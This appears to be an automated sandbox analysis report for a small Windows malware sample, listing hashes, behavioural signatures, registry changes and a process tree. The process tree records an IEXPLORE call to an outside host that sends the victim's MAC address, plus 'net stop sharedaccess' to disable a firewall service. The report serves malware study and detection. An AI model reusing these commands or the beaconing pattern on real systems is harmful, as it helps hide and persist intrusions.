Analysis
-
max time kernel
94s -
max time network
47s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
19-09-2022 07:43
Static task
static1
Behavioral task
behavioral1
Sample
cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe
Resource
win7-20220812-en
windows7-x64
16 signatures
150 seconds
Behavioral task
behavioral2
Sample
cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe
Resource
win10v2004-20220812-en
windows10-2004-x64
0 signatures
150 seconds
General
-
Target
cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe
-
Size
26KB
-
MD5
8ebabd81a3833fc3030802d834ffc6f1
-
SHA1
39e71ccf4b5c55ebda3c900aada1cfd42e1912ca
-
SHA256
cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7
-
SHA512
4755b5afd3b1270719712943a1fcdfeda3e2128401bf1b5c556576d4ccb0a6925f1a43e4854a09e8a0758830bd0771cc3e6246206f7682fc90e98a34c22b2e23
-
SSDEEP
384:q0olvMQ9xgD2iHIz/ys8woy2oytpeWzNTNRSivZId7rAUW8dDEciw/H:JolzxgqNadwoiSgWzNRRpIdvAMd4NwP
Score
8/10
Malware Config
Signatures
-
Executes dropped EXE 2 IoCs
pid Process 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 1436 vstart.exe -
Modifies Installed Components in the registry 2 TTPs 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Deletes itself 1 IoCs
pid Process 960 cmd.exe -
Loads dropped DLL 4 IoCs
pid Process 960 cmd.exe 960 cmd.exe 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\705.5475.bat cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe File created C:\Program Files\cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe cmd.exe File opened for modification C:\Program Files\cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe cmd.exe File opened for modification C:\Program Files\vstart.exe cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe -
Kills process with taskkill 1 IoCs
pid Process 1072 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Zoom IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\IETld\LowMic IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\IntelliForms IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{0DE916E1-381D-11ED-8CD5-EA25B6F29539} = "0" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\InternetRegistry IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\PageSetup IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 IEXPLORE.EXE -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 984 PING.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe Token: SeDebugPrivilege 1072 taskkill.exe Token: SeShutdownPrivilege 1752 explorer.exe Token: SeShutdownPrivilege 1752 explorer.exe Token: SeShutdownPrivilege 1752 explorer.exe Token: SeShutdownPrivilege 1752 explorer.exe Token: SeShutdownPrivilege 1752 explorer.exe Token: SeShutdownPrivilege 1752 explorer.exe Token: SeShutdownPrivilege 1752 explorer.exe Token: SeShutdownPrivilege 1752 explorer.exe Token: 33 1508 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1508 AUDIODG.EXE Token: 33 1508 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1508 AUDIODG.EXE Token: SeShutdownPrivilege 1752 explorer.exe Token: SeShutdownPrivilege 1752 explorer.exe Token: SeShutdownPrivilege 1752 explorer.exe -
Suspicious use of FindShellTrayWindow 27 IoCs
pid Process 1684 IEXPLORE.EXE 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe -
Suspicious use of SendNotifyMessage 16 IoCs
pid Process 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe 1752 explorer.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 1488 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 1684 IEXPLORE.EXE 1684 IEXPLORE.EXE 1040 IEXPLORE.EXE 1040 IEXPLORE.EXE 1436 vstart.exe 1436 vstart.exe 1436 vstart.exe -
Suspicious use of WriteProcessMemory 43 IoCs
description pid Process procid_target PID 1488 wrote to memory of 960 1488 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 27 PID 1488 wrote to memory of 960 1488 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 27 PID 1488 wrote to memory of 960 1488 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 27 PID 1488 wrote to memory of 960 1488 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 27 PID 960 wrote to memory of 984 960 cmd.exe 29 PID 960 wrote to memory of 984 960 cmd.exe 29 PID 960 wrote to memory of 984 960 cmd.exe 29 PID 960 wrote to memory of 984 960 cmd.exe 29 PID 960 wrote to memory of 1196 960 cmd.exe 30 PID 960 wrote to memory of 1196 960 cmd.exe 30 PID 960 wrote to memory of 1196 960 cmd.exe 30 PID 960 wrote to memory of 1196 960 cmd.exe 30 PID 1196 wrote to memory of 1684 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 32 PID 1196 wrote to memory of 1684 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 32 PID 1196 wrote to memory of 1684 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 32 PID 1196 wrote to memory of 1684 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 32 PID 1684 wrote to memory of 1040 1684 IEXPLORE.EXE 34 PID 1684 wrote to memory of 1040 1684 IEXPLORE.EXE 34 PID 1684 wrote to memory of 1040 1684 IEXPLORE.EXE 34 PID 1684 wrote to memory of 1040 1684 IEXPLORE.EXE 34 PID 1196 wrote to memory of 1072 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 35 PID 1196 wrote to memory of 1072 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 35 PID 1196 wrote to memory of 1072 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 35 PID 1196 wrote to memory of 1072 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 35 PID 1196 wrote to memory of 576 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 37 PID 1196 wrote to memory of 576 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 37 PID 1196 wrote to memory of 576 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 37 PID 1196 wrote to memory of 576 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 37 PID 576 wrote to memory of 1448 576 net.exe 39 PID 576 wrote to memory of 1448 576 net.exe 39 PID 576 wrote to memory of 1448 576 net.exe 39 PID 576 wrote to memory of 1448 576 net.exe 39 PID 1196 wrote to memory of 1752 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 41 PID 1196 wrote to memory of 1752 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 41 PID 1196 wrote to memory of 1752 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 41 PID 1196 wrote to memory of 1752 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 41 PID 1196 wrote to memory of 1436 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 42 PID 1196 wrote to memory of 1436 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 42 PID 1196 wrote to memory of 1436 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 42 PID 1196 wrote to memory of 1436 1196 cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe 42 PID 1752 wrote to memory of 1588 1752 explorer.exe 43 PID 1752 wrote to memory of 1588 1752 explorer.exe 43 PID 1752 wrote to memory of 1588 1752 explorer.exe 43
Processes
-
C:\Users\Admin\AppData\Local\Temp\cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe"C:\Users\Admin\AppData\Local\Temp\cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe"1⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Program Files\705.5475.bat""2⤵
- Deletes itself
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.13⤵
- Runs ping.exe
PID:984
-
-
C:\Program Files\cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe"C:\Program Files\cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1196 -
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" "http://youword.cn/2002/count.asp?mac=EA:25:B6:F2:95:39&ver=1.0"4⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1684 CREDAT:275457 /prefetch:25⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1040
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /pid 16844⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1072
-
-
C:\Windows\SysWOW64\net.exenet stop sharedaccess4⤵
- Suspicious use of WriteProcessMemory
PID:576 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sharedaccess5⤵PID:1448
-
-
-
\??\c:\windows\explorer.exe"c:\windows\explorer.exe"4⤵
- Modifies Installed Components in the registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\system32\ctfmon.exectfmon.exe5⤵PID:1588
-
-
-
C:\Program Files\vstart.exe"C:\Program Files\vstart.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1436
-
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x2f81⤵
- Suspicious use of AdjustPrivilegeToken
PID:1508
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
433B
MD55fb603b55ea9046f03e3def4b12c28f1
SHA115e7254865ef5a05e89eb6e1701f365b8f67c7bd
SHA25662afaaea6578469788b39b5e75288400444b9e922748d96ed3b6e090a9abbdad
SHA512830b3458cbe086fa26da06286a2787094dfcfbba6aa154a3241400a1318cdfed81ca43ebad722458a6dda6a5beb34735f84b23c5fda0f410b2bf639dac27f777
-
Filesize
26KB
MD58ebabd81a3833fc3030802d834ffc6f1
SHA139e71ccf4b5c55ebda3c900aada1cfd42e1912ca
SHA256cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7
SHA5124755b5afd3b1270719712943a1fcdfeda3e2128401bf1b5c556576d4ccb0a6925f1a43e4854a09e8a0758830bd0771cc3e6246206f7682fc90e98a34c22b2e23
-
Filesize
56KB
MD5d9fca0be9517ff727becc1640e26e1e0
SHA16422179097e32811924c855ab6e5dc4c3800f37b
SHA256e29abde284e7cda5c22a674d9b6279e9209a68819ee0b141a8c278459706589f
SHA512e83047620955d4bc36b19db4f3c8a2fe3c75d56070535064c145034294a26c7306b962997d3185678df421436fb9366301f252a705754de39a363cfb3fb8faea
-
Filesize
26KB
MD58ebabd81a3833fc3030802d834ffc6f1
SHA139e71ccf4b5c55ebda3c900aada1cfd42e1912ca
SHA256cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7
SHA5124755b5afd3b1270719712943a1fcdfeda3e2128401bf1b5c556576d4ccb0a6925f1a43e4854a09e8a0758830bd0771cc3e6246206f7682fc90e98a34c22b2e23
-
Filesize
26KB
MD58ebabd81a3833fc3030802d834ffc6f1
SHA139e71ccf4b5c55ebda3c900aada1cfd42e1912ca
SHA256cfd29e49c479d41f01f7fb32cee5dd7d4d6823e7fca957b9beea1473d037a8f7
SHA5124755b5afd3b1270719712943a1fcdfeda3e2128401bf1b5c556576d4ccb0a6925f1a43e4854a09e8a0758830bd0771cc3e6246206f7682fc90e98a34c22b2e23
-
Filesize
56KB
MD5d9fca0be9517ff727becc1640e26e1e0
SHA16422179097e32811924c855ab6e5dc4c3800f37b
SHA256e29abde284e7cda5c22a674d9b6279e9209a68819ee0b141a8c278459706589f
SHA512e83047620955d4bc36b19db4f3c8a2fe3c75d56070535064c145034294a26c7306b962997d3185678df421436fb9366301f252a705754de39a363cfb3fb8faea
-
Filesize
56KB
MD5d9fca0be9517ff727becc1640e26e1e0
SHA16422179097e32811924c855ab6e5dc4c3800f37b
SHA256e29abde284e7cda5c22a674d9b6279e9209a68819ee0b141a8c278459706589f
SHA512e83047620955d4bc36b19db4f3c8a2fe3c75d56070535064c145034294a26c7306b962997d3185678df421436fb9366301f252a705754de39a363cfb3fb8faea